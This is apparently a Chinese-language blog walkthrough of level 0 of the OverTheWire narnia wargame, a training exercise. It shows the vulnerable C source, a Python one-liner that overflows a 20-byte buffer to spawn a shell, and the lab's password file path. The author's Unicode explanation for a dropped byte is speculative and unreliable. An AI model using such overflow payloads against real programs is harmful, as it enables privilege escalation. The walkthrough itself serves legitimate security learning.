首页 > 代码库 > Wargame narnia level 0 (中文攻略)

Wargame narnia level 0 (中文攻略)

想写这个主要是因为我去谷歌搜到的攻略都是英文,看着有点吃力(菜B英语不好) , 然后就是分享交流技术。

比较有意思的一个闯关游戏(适合新手)

       网站是:http://overthewire.org/wargames/narnia/ 

游戏主要涉及基础的漏洞利用(环境是LINUX下的)

 

下面就开始吧, 

LINUX系统中 用SSH命令   登陆远程服务器

image

第0关的账号和密码都是narnia0

登陆后,需要我们利用的漏洞程序在 narnia这个文件夹里

image

服务器里把文件权限卡得很死,如果没有权限是不能执行一些操作的(比如看后面关卡的代码等)。

下面进入正题:

cat narnia0.c

#include <stdio.h>
#include <stdlib.h>

int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val‘s value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s",&buf);

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    if(val==0xdeadbeef)
        system("/bin/sh");
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }

    return 0;
}

 

意思很明白,让我们改变val 的值, 让它变成0xdeadbeef  。

这个程序读入24个字节的字符串放到BUF里,  多余的4个字节就会覆盖VAL,   进而改变VAL的值。

 

用LINUX自带的 PYTHON 来构造字符串

python -c ‘print "a" * 20 + "\xef\xbe\xad\xde" ‘

image

 

再复制拿去输入

image

第一个\xde   没有了= =,   这是神马情况。。。。

后来查了下,要在后面加上一个二进制值才能成功( \x80 以上都可以 ,个人感觉是和前面的\xde 联合在一起形成一个双字节的UNICODE码,才使scanf能够读入 ) 

 

下面再来构造一个

image

拿去输入

image

OK,权限就变成narnia1了。

通关的密码在 /etc/narnia_pass

QQ截圖20140524162855

OK,搞定了……